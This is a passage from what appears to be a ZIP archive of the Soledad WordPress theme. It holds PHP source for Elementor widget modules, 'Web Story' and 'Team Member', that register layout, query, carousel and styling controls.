															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\t^  ^  0  inc/elementor/modules/penci-web-story/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWebStory;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-web-story';
	}

	public function get_widgets() {
		return array( 'PenciWebStory' );
	}
}
PK     N\ڽ'O  O  A  inc/elementor/modules/penci-web-story/widgets/penci-web-story.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciWebStory\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciWebStory extends Base_Widget {

	public function get_name() {
		return 'penci-web-story';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Web Story', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-posts-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'story', 'web' );
	}

	public function get_script_depends() {
		return array( 'penci_web_stories' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'Stories Query', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'query_type', array(
			'label'   => __( 'Query Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'all',
			'options' => array(
				'all'    => esc_html__( 'All Stories', 'soledad' ),
				'custom' => esc_html__( 'Custom Stories', 'soledad' ),
			),
		) );
		$this->add_control( 'story_ids', array(
			'label'       => __( 'Custom Story', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'web-story',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'custom' ]
		) );
		$this->add_control( 'story_cat', array(
			'label'       => __( 'Categories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_category',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'story_tag', array(
			'label'       => __( 'Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_tag',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_cat', array(
			'label'       => __( 'Exclude Categories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_category',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_tag', array(
			'label'       => __( 'Exclude Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_tag',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_ids', array(
			'label'       => __( 'Exlcude Custom Stories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'web-story',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __('Post ID','soledad' ),
				'modified'      => __('Modified Date','soledad' ),
				'title'         => __('Post Title','soledad' ),
				'rand'          => __('Random Posts','soledad' ),
				'comment_count' => __('Comment Count','soledad' ),
				'popular'       => __('Most Viewed Posts All Time','soledad' ),
				'popular_day'   => __('Most Viewed Posts Daily','soledad' ),
				'popular7'      => __('Most Viewed Posts Once Weekly','soledad' ),
				'popular_month' => __('Most Viewed Posts Once a Month','soledad' ),
			),
			'condition' => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'number', array(
			'label'     => __( 'Number of Stories', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => [ 'query_type' => 'all' ],
			'default'   => get_option( 'posts_per_page' ),
		) );
		$this->add_control( 'offset', array(
			'label'     => __( 'Offset Stories', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 0,
			'condition' => [ 'query_type' => 'all' ]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'layout', array(
			'label'   => __( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'onerow',
			'options' => array(
				'onerow' => __( 'One Row', 'soledad' ),
				'grid'   => __( 'Grid', 'soledad' ),
				'slider' => __( 'Slider', 'soledad' ),
			),
		) );
		$this->add_control( 'layout_algin', array(
			'label'     => __( 'Content Align', 'soledad' ),
			'type'      => Controls_Manager::CHOOSE,
			'default'   => 'center',
			'options'   => array(
				'start'  => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'end'    => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'condition' => [ 'layout' => 'grid' ],
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list' => 'justify-content:{{VALUE}}' ]
		) );
		$this->add_responsive_control( 'columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array(
				'size' => '12',
			),
			'tablet_default' => array(
				'size' => '6'
			),
			'mobile_default' => array(
				'size' => '4'
			),
			'condition'      => [ 'layout!' => 'onerow' ],
			'render_type'    => 'template',
			'range'          => array( 'px' => array( 'min' => 2, 'max' => 12 ) ),
			'selectors'      => [
				'{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item'                    => 'width:calc(100% / {{SIZE}})',
				'{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item' => 'width:calc(100% / {{SIZE}})',
			],
		) );
		$this->add_responsive_control( 'onerow_cw', array(
			'label'      => __( 'Custom Item Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'condition'      => [ 'layout' => 'onerow' ],
			'range'      => array(
				'px' => array( 'min' => 50, 'max' => 2000 )
			),
			'size_units' => array( 'px' ),
			'selectors'  => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item' => 'flex: 0 0 {{SIZE}}px;width:{{SIZE}}px;', ]
		) );
		$this->add_control( 'imgsize', array(
			'label'   => __( 'Thumbnail Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_control( 'lazyload', array(
			'label'        => __( 'Disable Lazyload on Thumbnail Images', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );
		$this->add_responsive_control( 'v_spacing', array(
			'label'     => __( 'Vertical Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 600 ) ),
			'condition' => array( 'layout' => 'grid' ),
			'selectors' => [
				'{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item' => 'margin-bottom:{{SIZE}}px',
				'{{WRAPPER}} .pc-wstories'                           => 'margin-bottom:calc({{SIZE}}px * -1)',
			],
		) );
		$this->add_responsive_control( 'h_spacing', array(
			'label'     => __( 'Horizontal Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => [ '{{WRAPPER}} .pc-wstories' => '--gap:calc({{SIZE}}px / 2)' ],
		) );
		$this->add_control( 'showtitle', array(
			'label'   => __( 'Show Story Title', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'popup_ct_heading', array(
			'label'     => __( 'Popup Content', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'nextprev', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'pos', array(
			'label'   => __( 'Show Positon Number of Current Story', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_carousel_options', array(
			'label'     => __( 'Carousel Options', 'soledad' ),
			'condition' => array( 'layout' => 'slider' ),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'   => __( 'Carousel Slider Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options' => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'   => __( 'Carousel Loop', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => [ 'carousel_slider_effect' => 'default' ],
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style', array(
			'label' => esc_html__( 'Stories', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'border_radius', array(
			'label'      => __( 'Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb-wrapper, {{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );
		$this->add_responsive_control( 'bdwidth', array(
			'label'     => __( 'Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb-wrapper' => 'padding:{{SIZE}}px' ]
		) );
		$this->add_control( 'bdcolor_title', array(
			'label'     => __( 'Story Borders Color', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'bdcolor',
			'label'    => __( 'Story Borders Color', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item .pc-webstory-thumb-wrapper',
		) );
		$this->add_control( 'bd_seencolor_title', array(
			'label'     => __( 'Story Seen Borders Color', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'bd_seencolor',
			'label'    => __( 'Story Seen Borders Color', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper',
		) );
		$this->add_responsive_control( 'inner_bdwidth', array(
			'label'     => __( 'Inner Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'separator' => 'before',
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-width:{{SIZE}}px' ]
		) );
		$this->add_control( 'inner_bdcolor', array(
			'label'     => __( 'Inner Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-color:{{VALUE}}' ]
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_title_style', array(
			'label'     => esc_html__( 'Title', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'showtitle' => 'yes' ]
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography for Story Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title h4',
		) );
		$this->add_control( 'title_color', array(
			'label'     => __( 'Story Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title h4' => 'color:{{VALUE}}' ]
		) );
		$this->add_responsive_control( 'title_spacing', array(
			'label'     => __( 'Spacing Between Title & Thumbnail', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array(
				'px' => array( 'min' => 0, 'max' => 200 )
			),
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title' => 'margin-top:{{SIZE}}px' ]
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'popup_style', array(
			'label' => esc_html__( 'Popup', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => 'Follow Customize',
				's9' => 'Style 1',
				's2' => 'Style 2',
				's3' => 'Style 3',
				's4' => 'Style 4',
				's5' => 'Style 5',
				's6' => 'Style 6',
				's1' => 'Style 7',
			],
		) );
		$this->add_control( 'loading_icon_color', array(
			'label'     => __( 'Loading Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:after,{{WRAPPER}} .penci-loading-animation-5 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-6 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-7 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-8 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-9 .penci-loading-circle-inner:before,{{WRAPPER}} .penci-loading-animation-1>div,{{WRAPPER}} .penci-three-bounce .one,{{WRAPPER}} .penci-three-bounce .two,.penci-three-bounce .three' => 'background-color: {{VALUE}}',
				'{{WRAPPER}}'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   => '--pc-loader-2:{{VALUE}}'
			),
		) );
		$this->add_control( 'loading_bgcolor', array(
			'label'     => __( 'Loading Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper' => 'background-color:{{VALUE}}'
			),
		) );
		$this->add_control( 'navigation_btn_heading', array(
			'label'     => __( 'Next/Prev Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'navigation_btn_color', array(
			'label'     => __( 'Next/Prev Buttons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn' => 'color:{{VALUE}}'
			),
		) );
		$this->add_control( 'navigation_btn_hcolor', array(
			'label'     => __( 'Next/Prev Buttons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn:hover' => 'color:{{VALUE}}'
			),
		) );
		$this->add_responsive_control( 'navigation_btn_size', array(
			'label'     => __( 'Next/Prev Buttons Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn' => 'font-size:{{SIZE}}px'
			),
		) );
		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();
		$this->markup_block_title( $settings, $this );
		\penci_webstories( $settings );
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     N\R8t    2  inc/elementor/modules/penci-team-member/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTeamMember;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-team-member';
	}

	public function get_widgets() {
		return array( 'PenciTeamMember' );
	}
}
PK     N\doo  oo  E  inc/elementor/modules/penci-team-member/widgets/penci-team-member.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTeamMember\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTeamMember extends Base_Widget {

	public function get_name() {
		return 'penci-team-member';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Team Members', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'team memeber' );
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_temmembers', array(
			'label' => esc_html__( 'Team memebers', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$repeater = new Repeater();
		$repeater->add_control( 'image', array(
			'label'   => __( 'Choose Image', 'soledad' ),
			'type'    => Controls_Manager::MEDIA,
			'default' => array( 'url' => Utils::get_placeholder_image_src() ),
		) );
		$repeater->add_control( 'name', array(
			'label' => __( 'Name', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );
		$repeater->add_control( 'position', array(
			'label' => __( 'Position', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );
		$repeater->add_control( 'desc', array(
			'label' => __( 'Description', 'soledad' ),
			'type'  => Controls_Manager::TEXTAREA,
		) );
		$repeater->add_control( 'link_avatar', array(
			'label'       => __( 'Avatar URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_website', array(
			'label'       => __( 'Website URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_facebook', array(
			'label'       => __( 'Facebook URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_twitter', array(
			'label'       => __( 'Twitter URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_linkedin', array(
			'label'       => __( 'Linkedin URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_instagram', array(
			'label'       => __( 'Instagram URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_youtube', array(
			'label'       => __( 'Youtube URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_vimeo', array(
			'label'       => __( 'Vimeo URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_pinterest', array(
			'label'       => __( 'Pinterest URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_dribbble', array(
			'label'       => __( 'Dribbble URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );

		$this->add_control( 'teammembers', array(
			'type'        => Controls_Manager::REPEATER,
			'fields'      => $repeater->get_controls(),
			'default'     => array(
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				),
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				),
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				)
			),
			'title_field' => '{{{ name }}}',
		) );


		$this->end_controls_section();

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 's1',
			'options' => array(
				's1' => esc_html__( 'Bordered', 'soledad' ),
				's2' => esc_html__( 'Background', 'soledad' ),
				's3' => esc_html__( 'Extended', 'soledad' ),
				's4' => esc_html__( 'Overlay Slide Up', 'soledad' ),
				's5' => esc_html__( 'Overlay', 'soledad' ),
			)
		) );
		$this->add_responsive_control( 'columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '3',
			'tablet_default' => '2',
			'mobile_default' => '1',
			'options'        => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			)
		) );

		$this->add_group_control( Group_Control_Image_Size::get_type(), array(
			'name'      => 'penci_img',
			'default'   => 'penci-masonry-thumb',
			'separator' => 'none',
		) );

		$this->add_responsive_control( 'imageratio', array(
			'label'     => __( 'Custom Image Ratio Height/Width (%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc .penci-teammb-img:before' => 'padding-top: {{SIZE}}%; height: auto;',
			),
		) );

		$this->add_responsive_control( 'width_img', array(
			'label'     => __( 'Custom Image Width', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array( '{{WRAPPER}} .penci-teammb-item .penci-teammb-img' => 'max-width: {{SIZE}}px;width: 100%; height: auto;' ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'      => __( 'Image Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2', 's3' ) ),
		) );

		$this->add_control( 'titpos', array(
			'label'   => __( 'Title Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => __( 'Default', 'soledad' ),
				'above'   => __( 'Above Position Text', 'soledad' ),
				'below'   => __( 'Below Position Text', 'soledad' ),
			)
		) );

		$this->add_control( 'social_shape', array(
			'label'   => __( 'Social Icons Shape', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => __( 'Default', 'soledad' ),
				'circle'  => __( 'Circle', 'soledad' ),
				'square'  => __( 'Square', 'soledad' ),
				'round'   => __( 'Round', 'soledad' ),
			)
		) );

		$this->add_control( 'social_style', array(
			'label'   => __( 'Social Icons Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'  => __( 'Default', 'soledad' ),
				'filled'   => __( 'Filled', 'soledad' ),
				'bordered' => __( 'Bordered', 'soledad' ),
			)
		) );

		$this->add_control( 'social_colors', array(
			'label'   => __( 'Social Icons Colors Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'   => __( 'Custom Colors', 'soledad' ),
				'brandbg'   => __( 'Brands Color', 'soledad' ),
				'brandtext' => __( 'Brands Text Color', 'soledad' ),
			)
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_spacing', array(
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_responsive_control( 'row_gap', array(
			'label'     => __( 'Member Items Rows Gap', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-row-gap: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'col_gap', array(
			'label'     => __( 'Member Items Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-column-gap: {{SIZE}}px' ),
		) );

		$this->add_control( 'team_image_martop', array(
			'label'     => __( 'Image Bottom Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
